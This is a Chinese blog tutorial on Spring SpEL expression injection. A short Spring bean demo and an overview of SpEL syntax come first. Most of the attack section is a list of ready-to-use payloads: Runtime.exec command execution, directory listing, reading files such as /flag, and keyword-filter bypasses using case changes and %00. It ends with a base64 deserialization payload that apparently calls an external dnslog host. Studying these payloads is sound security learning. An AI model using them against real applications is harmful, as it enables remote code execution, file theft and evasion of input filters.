当前位置:   article > 正文

java spel_Java spring SPEL表达式注入

spel #{t(java.util.arrays)

首先搭建一个Spring环境。

文章可以看https://blog.csdn.net/cflys/article/details/70598903

一步步跟下去就行。

在src目录添加spring-config.xml

cfb00125dbbbd048ccdd25baff69b487.png

src目录下新建

Hello.java

public class Hello {

private String Name;

public void sayHello(){

System.out.println("Hello "+ Name);

}

public void setName(String name) {

System.out.println("SetName function start");

this.Name=name;

}

}

Main.java

import org.springframework.context.ApplicationContext;

import org.springframework.context.support.ClassPathXmlApplicationContext;

import java.io.IOException;

public class Main {

public static void main(String[] args) throws IOException {

ApplicationContext context = new ClassPathXmlApplicationContext("spring-config.xml");

//创建Spring的IOC容器

Hello hello = (Hello)context.getBean("Helloclass");

//调用spring-config.xml中ID为Helloclass对应的类

hello.sayHello();

//调用类的sayHello方法

}

}

spring-config.xml

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

//Hello类中name属性。对应的值

成功执行。并且setName方法。在创建IOC容器的时候就执行了。对name属性赋值

fc5cf56d7770a5e6e582ad5d6b593171.png

下面介绍SPEL

简单来说。就是在value中。用特定的语法实现一些功能。和Python的模板差不多

#{}是SPEL的定界符。{}内。都算SPEL语法

${}用于加载外部属性的值。必须写在${}中。例如#{'${}'}

f8e14edb3a0c138ef330ab79971f49ad.png

SPEL也支持

科学计数法

#{1e1111}

类属性

#{Person.name}

类方法

#{Person.HelloWorld()}

函数

#{'Guoke'.toLowerCase()}

异常处理

#{Person.HelloWorld()?.toUpperCase()}

// ?. 确保左边语句不出错。如果出错。就不会调用toUpperCase()

调用包

#{T(java.lang.Math).random()}

直接new对象

#{new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()}

说了基本语法。。那就开始利用了。

弹个计算器

#{T(java.lang.Runtime).getRuntime().exec("calc")}

9ee2566705918e03000e79a41cfe788b.png

列目录

#{T(java.util.Arrays).toString(T(java.nio.file.Files).list(T(java.nio.file.Paths).get('c:\\')).toArray())}

读文件

#{new java.util.Scanner(new java.io.File("c:\\1.txt")).next()}

#{T(org.apache.commons.io.FileUtils).readFileToString(new java.io.File("c:\\1.txt"))}

#{NEW java.util.Scanner(NEW java.io.BufferedReader(NEW java.io.FileReader(NEW java.io.File('/flag')))).nextLine()}

#{New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()}

#{T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('c:\\1.txt')).findFirst().toString()}

利用FileUtils这个包。不是自带的

当遇到过滤关键字的时候。可以利用大小写。%00等骚姿势绕过

在SPEL中。关键字不区分大小写。比如new/NEW

也可以通过反序列化。绕过关键字过滤。

#{T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEHozM3Bzei5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly96MzNwc3ouZG5zbG9nLmNueA=='))}

其他bypass的。可以看

https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

先占个坑。

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号